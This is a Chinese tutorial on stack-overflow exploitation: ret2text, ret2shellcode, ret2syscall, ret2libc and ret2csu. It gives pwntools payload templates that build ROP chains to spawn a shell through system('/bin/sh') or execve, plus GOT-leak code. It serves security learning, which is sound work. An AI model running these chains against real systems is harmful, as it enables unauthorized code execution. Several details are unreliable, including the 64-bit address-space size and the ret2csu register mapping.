栈溢出漏洞

栈溢出指的是程序向栈中的某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程

一般来说,栈溢出漏洞需要两个前提:

  1. 程序必须向栈上写入数据
  2. 写入的数据大小没有被良好地控制

相关术语

名称解释
ROP返回导向编程。在栈溢出的基础上,利用程序中已有的小片段(gadget)来改变某些寄存器或者变量的值,从而控制程序的执行流程
Gadget一些以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程

BSS 段

.bss 段通常是用来存放程序中未初始化的或者初始化为 0 的全局变量和静态变量的一块内存区域。特点是可读写,在程序执行之前 .bss 会自动清 0

栈溢出漏洞4.png

通常我们可以将一些参数写到 .bss 段上,例如:"/bin/sh"shellcode(主要是因为栈的地址不好确定,并且一般栈中不可执行,而 .bss 段的地址容易确定,方便构造 ROP)

写入方式一般有:

  1. 通过程序中自带的输入参数,有一些用户输入的参数直接就是存放在 .bss 段上的
  2. 配合栈溢出,利用 read()get() 等函数构造 ROP 向 .bss 段上写入

64 位和 32 位

在利用栈溢出漏洞时,64 位程序与 32 位程序的 ROP 链写法是不同的

基本区别

32位:cpu 一次处理 32 位数据,即 4 字节,相当于地址的宽度,即 sizeof(*p),虚拟地址大小为 4G,即有 $2^{32}$ 个地址,从 32 个 0 到 32 个 1 的地址

64位:cpu 一次处理 64 位数据,即 8 字节,相当于地址的宽度,即 sizeof(*p),虚拟地址大小为 128G,即 $2^{64}$ 个地址,从 64 个 0 到 64 个 1 的地址

内存地址的范围由 32 位变成了 64 位,但是可以使用的内存地址不能大于 0x00007FFFFFFFFFFF,否则会抛出异常


数据处理的函数

p32()p64() 是对数据进行打包,常用于向目标机器发送数据

u32()u64() 是对数据进行解包,常用于接收从目标机器发送过来的数据

  1. p32() 是对 32 位程序的数据进行打包,处理后形成小端序字节流

例如 p32(0xdeadbeef) 将被转换为 b'\xef\xbe\xad\xde‘ 的字节流,发送到目标机器的内存中为:0xef 0xbe 0xad 0xde

  1. p64() 是对 64 位程序的数据进行打包,处理后形成小端序字节流

例如 p64(0xfaceb00cbabe) 将被转换为 b'\xbe\xba\x0c\xb0\xce\xfa\x00\x00' 的字节流,发送到目标机器的内存中为:0xbe 0xba 0x0c 0xb0 0xce 0xfa 0x00 0x00

  1. u32 是对 32 位程序发送过来的小端序字节流进行解包,处理后得到十进制数据

例如 u32(b'\xef\xbe\xad\xde') 将被转换为 3735928559 的数据(十进制)

  1. u64 是对 64 位程序发送过来的小端序字节流进行解包,处理后得到十进制数据

例如 u64(b'\xbe\xba\x0c\xb0\xce\xfa\x00\x00') 将被转换为 275765623831230 的数据(十进制)


函数调用的区别

32 位调用方式

32 位程序优先使用栈来传递参数,参数从右往左压入栈,然后执行 call 指令跳转到函数位置

32 位程序只需向栈中填充数据,直至覆盖返回地址,即可劫持栈帧,后面跟上函数地址、参数地址即可

  1. 将参数全部压入栈中
  2. 靠近 call 指令的是第一个参数
  3. 然后按顺序 call

64 位调用方式

64 位程序优先使用寄存器来传递参数,前 6 个参数是通过寄存器(RDI、RSI、RDX、RCX、R8、R9)传递的,多余的参数才通过栈传递

64 位程序向栈中填充数据覆盖返回地址后,首先要将参数弹出到寄存器,然后再跟上函数地址调取寄存器中的参数

  1. RDI 中存放第 1 个参数
  2. RSI 中存放第 2 个参数
  3. RDX 中存放第 3 个参数
  4. RCX 中存放第 4 个参数
  5. R8 中存放第 5 个参数
  6. R9 中存放第 6 个参数
  7. 如果还有更多的参数,再把多出来那几个参数像 32 位程序一样压入栈中
  8. 然后按顺序 call

Ret2text

Ret2text(return to .text),控制程序执行程序本身已有的的代码

适用于程序中给出了 system() 函数,有 "/bin/sh"(如果没有,也可以自己写到 .bss 段上或某个变量中,并且要可以找到其地址),或者直接有构造好的 system("/bin/sh")

32 位 ROP 构造

假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节

栈溢出漏洞1.png

  • system_addr 为 system() 函数的地址,bin_sh_addr 为 "/bin/sh" 的地址
    则构造如下 payload 实现 system("/bin/sh")
# 直接给出了构造好的system("/bin/sh")
payload = b'a' * (0x20 + 0x4) + p32(system_bin_sh_addr)

# 没有system("/bin/sh"),但可以自己构造
payload = b'a' * (0x20 + 0x4)
payload += p32(system_addr) + b'aaaa' + p32(bin_sh_addr)

如果是正常调用 system() 函数,我们调用的时候会有一个对应的返回地址,这里以填充的 b'aaaa' 作为虚假的返回地址(保证 4 字节即可),其后参数为提供给 system() 函数的参数内容

这里的 b'aaaa' 其实是填充一个 4 字节的数据,写成 p32(0) 或者 p32(0xdeadbeef) 也是一样的

  • 以利用 gets() 函数向 bss 段写入 “/bin/sh“ 为例:
payload = b'a' * (0x20 + 0x4) + p32(gets_plt_addr) + p32(pop_ebx_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')

64 位 ROP 构造

假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节

栈溢出漏洞2.png

  1. 首先需要将构造的参数放到第一个参数所在的寄存器:RDI

可以__通过 pop rdi ; ret 指令将栈上的数据弹出到 RDI 寄存器来实现__

使用 ROPgadget --binary 文件名 | grep 'pop rdi' 进行寻找,获得 pop rdi ; ret 指令的地址

栈溢出漏洞8.png

也可以使用 ROPgadget --binary 文件名 --only 'pop|ret' | grep pop 寻找全部可利用的寄存器指令

栈溢出漏洞9.png

  1. system_addr 为 system() 函数的地址,bin_sh_addr 为 "/bin/sh" 的地址,pop_rdi_addr 为 pop rdi ; ret 指令的地址
    则构造如下 payload 实现 system("/bin/sh")
# 直接给出了构造好的system("/bin/sh")
payload = b'a' * (0x20 + 0x8) + p64(system_bin_sh_addr)

# 没有system("/bin/sh"),但可以自己构造
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload += p64(system_addr)

这里通过 p64(pop_rdi_addr) + p64(bin_sh_addr) 将 RDI 的内容设置为 "/bin/sh",最后 ret 回 system_addr 的地址,从而让 system() 将 RDI 中的 "/bin/sh" 作为参数执行

注意:
glibc2.27 以后引入 xmm 寄存器,记录程序状态,在执行 system() 函数时会执行 movaps 指令,要求 rsp 按 16 字节对齐,需要在进入 system() 函数之前加上一个 ret 指令的地址来平衡堆栈 (仅 64 位需要)

payload = b'a' * (0x20 + 0x8)  
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)  
payload += p64(ret_addr) + p64(system_addr) # 加一个 p64(ret_addr) 用于平衡堆栈

详见《64位程序PWN中的堆栈平衡》


Ret2shellcode

Ret2shellcode(return to shellcode),控制程序执行 shellcode 代码

适用于程序中没有 system() 函数和 "/bin/sh",需要自己填充 shellcode 并引导去程序执行触发

首先必须要保证写入 shellcode 的区域具有可执行权限

ROP 构造

此方法在 32 位和 64 位程序中构造方式是类似的,shellcode 的构造详见《Pwntools的使用技巧

  1. 首先在 gdb 中,使用 b main 设置断点,然后 run 运行程序
    执行 vmmap 查看地址段是否有执行权限,如果 Perm 中带有 x,表示该地址段可以执行

  2. 假设栈开辟的空间为 20 字节,rbp 的大小为 4、8 字节

栈溢出漏洞3.png

shellcode_addr 为写入的 shellcode 所在的地址

则构造如下 payload 实现 system("/bin/sh")

# 32位
payload = b'a' * (0x20 + 0x4) + p32(shellcode_addr)

# 64位
payload = b'a' * (0x20 + 0x8) + p64(shellcode_addr)

用此方法需要注意空间大小是否足够 shellcode 写入


Ret2syscall

Ret2syscall(return to syscall),控制程序执行系统调用来获取 shell。可以理解为拼接成一个系统调用的栈,在寄存器中带入指定的参数拼接成关键的系统函数,最后再寻找 int 0x80/syscall 的地址,从而执行这些函数。

Ret2syscall 可用于绕过沙箱保护,或者针对静态编译等没有 libc 的场景

适用于 32 位程序中有 int 0x80 或者 64 位程序中有 syscall,要能找到 "pop rax ; ret"

例如构造:execve("/bin/sh", 0, 0)

32 位 ROP 构造

32 位程序参数的构造顺序:eax --> ebx --> ecx --> edx,返回为 int 0x80

假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节

  • 32 位常用 syscall 格式如下:
eaxsystem callebxecxedx
3read()unsigned int fdchar *bufsize_t count
4write()unsigned int fdconst char *bufsize_t count
5open()const char *filenameint flagsint mode

更多 32 位 syscall 格式见:linux/syscall_32.tbl · torvalds/linux · GitHub

在 Linux 下可以使用如下命令查看:

cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h
  • read() 系统调用将输入写到 bss 段为例:
payload = b'a' * (0x20 + 0x4)
payload += p32(pop_eax_addr) + p32(0x3)   # 32 位的 read() 系统调用号为 3
payload += p32(pop_edx_ecx_ebx_addr) + p32(0x10) + p32(bss_addr) + p32(0)  # bss_addr必须是一个可写入的地址
payload += p32(int_0x80_addr)
  1. 首先,execve() 函数在 32 位的系统调用号是 11,也就是 0xb,所以我们要做的是使:
    eax = 0xb
    ebx = bin_sh_addr
    ecx = 0
    edx = 0
    对应的汇编代码为:
pop eax   // 系统调用号载入,execve为0xb 
pop ebx   // 第一个参数,'/bin/sh'的地址
pop ecx   // 第二个参数,0 
pop edx   // 第三个参数,0 
int 0x80  // int 0x80是32位的系统调用方式,同样通过eax传递调用号
  1. 寻找用于将数据出栈到寄存器的指令:
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'
# 假设获取的是 pop eax ; ret
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'
# 假设获取的是 pop edx ; pop ecx ; pop ebx ; ret

ROPgadget --binary 文件名 --string '/bin/sh'  # 寻找'/bin/sh'的地址
ROPgadget --binary 文件名 --only 'int'  # 寻找int 0x80的地址
  1. 根据实际 gadget 情况编写 payload,以上述指令为例:
payload = b'a' * (0x20 + 0x4)
payload += p32(pop_eax_addr) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr)
payload += p32(int_0x80_addr)

64 位 ROP 构造

64 位程序参数的构造顺序:rdi --> rsi --> rdx --> rcx --> r8 --> r9,返回为 syscall

假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节

  • 64 位常用 syscall 格式如下:
raxsystem callrdirsirdx
0read()unsigned int fdchar *bufsize_t count
1write()unsigned int fdconst char *bufsize_t count
2open()const char *filenameint flagsint mode

更多 64 位 syscall 格式见:linux/syscall_64.tbl · torvalds/linux · GitHub

在 Linux 下可以使用如下命令查看:

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
  • read() 系统调用将输入写到 bss 段为例:
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rax_addr) + p64(0x0)   # 64 位的 read() 系统调用号为 0
payload += p64(pop_rdx_rsi_addr) + p64(0x10) + p64(bss_addr)  # bss_addr必须是一个可写入的地址
payload += p64(pop_rdi_addr) + p64(0)   # 文件描述符,0 表示获取屏幕输入
payload += p64(syscall_addr)
  1. 首先,execve() 函数在 64 位的系统调用号是 59,也就是 0x3b,所以我们要做的是使:
    rax = 0x3b
    rdi = bin_sh_addr
    rsi = 0
    rdx = 0
    对应的汇编代码为:
pop rax   // 系统调用号载入,execve为0x3b 
pop rdi   // 第一个参数,'/bin/sh'的地址
pop rsi   // 第二个参数,0 
pop rdx   // 第三个参数,0 
syscall  // syscall是64位的系统调用方式,同样通过rax传递调用号
  1. 寻找用于将数据出栈到寄存器的指令:
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'rax'
# 假设获取的是 pop rax ; ret
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'rdi'
# 假设获取的是 pop rdx ; pop rsi ; pop rdi ; ret

ROPgadget --binary 文件名 --string '/bin/sh'  # 寻找'/bin/sh'的地址
ROPgadget --binary 文件名 --only 'ret'  # 寻找ret的地址
ROPgadget --binary 文件名 --only 'syscall'  # 寻找syscall的地址
  1. 根据实际 gadget 情况编写 payload,以上述指令为例:
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rax_addr) + p64(0x3b)
payload += p64(pop_rdx_rsi_rdi_addr) + p64(0) + p64(0) + p64(bin_sh_addr)
payload += p64(syscall_addr)

Ret2libc

Ret2libc(return to libc),控制函数执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)

适用于程序中没有 system() 函数和 "/bin/sh",或者程序开启了 PIE 地址随机化,需要泄露程序运行时的地址来计算偏移地址

栈溢出漏洞6.png

一般 ret2libc 常用的方法是采用 got 表地址泄露,不过由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。 最简单的,可以泄露 __libc_start_main 函数的 got 表地址,因为它是程序最初被执行的地方,一定会被执行(当然,泄露其他的函数地址也是可以的)

注意:
通过 ret2libc 计算出 libc 基地址时,**libc 基地址 libcbase 最后三位一般是 000**,可用于判断是否计算正确,libc 基地址可以在 GDB 中使用 vmmap 进行查看

另外,libc 中的函数偏移在加载到内存后地址最后三位是不会变的,例如:system() 函数在 libc 中偏移量为 0x48E50,则加载到内存中可能为 0xF7D1BE50

与操作系统的 4 KB 分页机制有关,4 KB = 4 * 1024 (D) = 1000 (H)

32 位 ROP 构造

假设栈开辟的空间为 20 字节,ebp 的大小为 4 字节

  1. 首先需要泄露出一个函数的真实地址
    这里以利用 write() 函数来泄露 read() 函数的 got 表地址为例(泄露其他函数也是可以的),最后再次返回到 main() 函数
payload = b'a' * (0x20 + 0x4)
payload += p32(elf.plt['write'])
payload += p32(main_addr)
payload += p32(0x1) + p32(elf.got['read']) + p32(0x4)

这里 p32(0x1)p32(elf.got['write'])p32(0x4) 是提供给 write() 函数的三个参数

ssize_t write(int fd,const void *buf,size_t count)

其中,文件描述符 fd = 1 表示输出到屏幕

  1. 接收 write() 函数打印出的 read@got 的地址
read_real_addr = u32(io.recv(4))
  1. 根据泄露的地址获得程序对应的 libc 版本,第二个参数一般为已泄露的实际地址,然后根据 libc 确定 read() 的偏移地址,计算出本次加载进内存后的偏移量,并反推出其他函数的真实地址

如果已知 libc 可直接使用,如果未知则使用 LibcSearcher

from LibcSearcher import *

obj = LibcSearcher("read", read_real_addr)   # 第二个参数为已泄露的实际地址,或最后12位(比如:d90),int类型
libcbase = read_real_addr - obj.dump('read')  # 计算基地址
system_addr = libcbase + obj.dump('system')  # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + obj.dump('str_bin_sh')  # 计算程序中'/bin/sh'的真实地址

如果不使用 LibcSearcher,则需要先确定 libc 版本:

libc = ELF("libc路径")
libcbase = read_real_addr - libc.symbols["read"]  # 计算基地址
system_addr = libcbase + libc.symbols["system"]  # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))  # 计算程序中'/bin/sh'的真实地址
  1. 构造如下 payload 实现 system("/bin/sh")
payload = b'a' * (0x20 + 0x4)
payload += p32(system_addr) + b'aaaa' + p32(bin_sh_addr)

64 位 ROP 构造

假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节

  1. 首先需要泄露出一个函数的真实地址
    这里以利用 puts() 函数来泄露 read() 函数的 got 表地址为例(泄露其他函数也是可以的),最后再次返回到 main() 函数
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(elf.got['read'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
  1. 接收 put() 函数打印出的 read@got 的地址,由于 puts() 函数返回的值里面会追加一个 ‘\n’,通过 replace() 手动去掉,ljust() 用于补全位数为八位
read_real_addr = u64(io.recv().replace('\n', '').ljust(8, '\x00'))
  1. 根据泄露的地址获得程序对应的 libc 版本,第二个参数一般为已泄露的实际地址

如果已知 libc 可直接使用,如果未知则使用 LibcSearcher

from LibcSearcher import *

obj = LibcSearcher("read", read_real_addr)   # 第二个参数为已泄露的实际地址,或最后12位(比如:d90),int类型
libcbase = read_real_addr - obj.dump('read')  # 计算基地址
system_addr = libcbase + obj.dump('system')  # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + obj.dump('str_bin_sh')  # 计算程序中'/bin/sh'的真实地址

如果不使用 LibcSearcher,则需要先确定 libc 版本:

libc = ELF("libc路径")
libcbase = read_real_addr - libc.symbols["read"]  # 计算基地址
system_addr = libcbase + libc.symbols["system"]  # 计算程序中 system() 的真实地址
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))  # 计算程序中'/bin/sh'的真实地址
  1. 构造如下 payload 实现 system("/bin/sh")
payload = b'a' * (0x20 + 0x8)
payload += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload += p64(system_addr)

利用 write() 泄露示例:

payload = b'a' * (0x20 + 0x8)  
payload += p64(pop_rdx_addr) + p64(0x8) # 第三个参数,放在 RDX  
payload += p64(pop_rsi_addr) + p64(elf.got['read']) # 第二个参数,放在 RSI  
payload += p64(pop_rdi_addr) + p64(0x1) # 第一个参数,放在 RDI  
payload += p64(elf.plt['write']) # 执行 write()  
payload += p64(main_addr) # 返回到 main()

前提是要找到刚好有

pop rdi ; ret  
pop rsi ; ret  
pop rdx ; ret

这三种 gadget 属于理想状况,需要根据实际 gadget 进行调整;但通常来说,是没有 pop rdx ; ret 这个 gadget 的,要更改 rdx 可以借助 Ret2csu 的方法


Ret2csu

Ret2csu(return to libc_csu_init),利用 libc_csu_init 中的两个代码片段来实现 rdirsirdx 这 3 个参数的传递

适用于 64 位程序中无法凑齐 pop rdi ; retpop rsi ; retpop rdx ; ret 等类似于 rdirsirdx 这 3 个传参的 gadget(或找不到),此时就可以考虑使用 libc_csu_init 函数的通用 gatgets

libc_csu_init

libc_csu_init 是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数(动态链接),一旦调用 libc 里面的函数就必须经过 libc 初始化的步骤,所以这个函数一定会存在

csu 即:C Start Up

栈溢出漏洞10.png

我们一般需要利用 libc_csu_init 中的两段代码: (寄存器顺序可能会有所不同,以实际为准)

  1. gadget2 (后调用)
.text:00000000004011C8 4C 89 FA                      mov     rdx, r15
.text:00000000004011CB 4C 89 F6                      mov     rsi, r14
.text:00000000004011CE 44 89 EF                      mov     edi, r13d
.text:00000000004011D1 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D1
.text:00000000004011D5 48 83 C3 01                   add     rbx, 1
.text:00000000004011D9 48 39 DD                      cmp     rbp, rbx
.text:00000000004011DC 75 EA                         jnz     short loc_4011C8
  1. gadget1 (先调用)
.text:00000000004011DE 48 83 C4 08                   add     rsp, 8
.text:00000000004011E2 5B                            pop     rbx
.text:00000000004011E3 5D                            pop     rbp
.text:00000000004011E4 41 5C                         pop     r12
.text:00000000004011E6 41 5D                         pop     r13
.text:00000000004011E8 41 5E                         pop     r14
.text:00000000004011EA 41 5F                         pop     r15
.text:00000000004011EC C3                            retn

ROP 构造

一般来说,Ret2csu 只用于 64 位的 ROP 构造

假设栈开辟的空间为 20 字节,rbp 的大小为 8 字节

  • 以调用 write() 函数泄露 read() 函数 got 地址为例:
payload = b'a' * (0x20 + 0x8) + p64(gadget1_addr) + p64(0xdeadbeef)

payload += p64(0)               # rbx,设置为 0
payload += p64(1)               # rbp,设置为 1
payload += p64(elf.got['write'])          # r12,设置为想要跳转的函数的 got 地址
# 以下寄存器顺序可能会有所不同,注意结合 IDA 具体分析
# 对应关系: r13 => edi, r14 => rsi, r15 => rdx
# ----------------------------------------
payload += p64(1)               # r13,write()的第一个参数,1 表示输出到屏幕
payload += p64(elf.got['read'])               # r14,write()的第二个参数,要泄漏的函数地址
payload += p64(8)               # r15,write()的第三个参数,输出的长度
# ----------------------------------------
payload += p64(gadget2_addr)               # 执行gadget2_addr将r13/r14/r15传送到edi/rsi/rdx
payload += b'a' * 0x38               # 填充56字节垃圾数据
payload += p64(main_addr)
  • 为方便多次构造,设计成 csu() 函数如下:
def csu(rbx, rbp, r12, r13, r14, r15, ret):
	payload = b'a' * (0x20 + 0x8) + p64(gadget1_addr) + p64(0xdeadbeef)
	payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(gadget2_addr)
	payload += b'a' * 0x38
	payload += p64(ret)

1. 问:为什么 payload 中 p64(gadget1_addr) 后面还要再加一个 p64(0xdeadbeef)

其实这个与 gadget1_addr 地址的取值有关,注意 gadget1 的开头:

.text:00000000004011DE 48 83 C4 08 add rsp, 8  
.text:00000000004011E2 5B pop rbx

这里的第一条指令 add rsp, 8 我们并不需要,如果设置 gadget1_addr = 0x4011DE,因为这一句将 rsp 加了 8,我们就需要先填充 8 字节垃圾数据才能到达我们布置好的栈帧数据

相反,如果设置 gadget1_addr = 0x4011E2,就不会执行 add rsp, 8 指令,因为没有修改 rspp64(gadget1_addr) 后面紧跟的就是我们布置好的栈帧数据,那么就不用加 p64(0xdeadbeef)


2. 问:为什么将 rbx 设置为 0 ?

gadget2 中执行 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8] 这个指令的时候

如果将 rbx 设置为 0,那么只需把 r12 的值设置成我们想要跳转的地址,这样就很方便,可以忽略 rbx 的干扰


3. 问:为什么将 rbp 设置成 1 ?

gadget2 中执行以下几句指令的时候:

.text:00000000004011D5 48 83 C3 01 add rbx, 1  
.text:00000000004011D9 48 39 DD cmp rbp, rbx  
.text:00000000004011DC 75 EA jnz short loc_4011C8

jnz 是当 rbprbx 不相等时跳转,但我们并不想真的跳转到 short loc_4011C8 这个地方

因此当 rbx 增加 1 之后,我们要让 rbprbx 相等,因此 rbp 就要提前被设置成 1


4. 问:为什么将 r12 设置成想要跳转的函数的 got 地址 ?

gadget2 中执行 call ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8] 这个指令的时候

由于前面设置 rbx = 0,所以相当于执行 call qword ptr [r12]但因为 gadget2 中的代码为 call 指令,所以必须是 call 函数的 got 地址

如果仅仅是修改参数,不想执行跳转,可以 call _term_proc 这个空函数)


5. 问:r13、r14、r15 的值为什么这么设置 ?

gadget2 中会执行:

.text:00000000004011C8 4C 89 FA mov rdx, r15  
.text:00000000004011CB 4C 89 F6 mov rsi, r14  
.text:00000000004011CE 44 89 EF mov edi, r13d

所以 r13r14r15 这三个值分别对应了 rdxrsiedi

要注意的是:
r15 最后传给的是 edi 而不是 rdi(即 rdi 的低 32 位),所以最后 rdi 的高位四字节都是 0,而低位四字节才是 r15 里的内容

也就是说:如果想用 Ret2csu 的方法将 rdi 里存放成一个地址是不可行的


6. 问:为什么填充 56 字节的垃圾数据 ?

运行 gadget1gadget2 这两段代码后,会将栈顶指针移动 56 字节,用 56 个字节数据填充来平衡堆栈造成的空缺,才可以连接到 ret 的位置进行跳转(共 7 个 pop 操作,每一个 pop 操作加 8)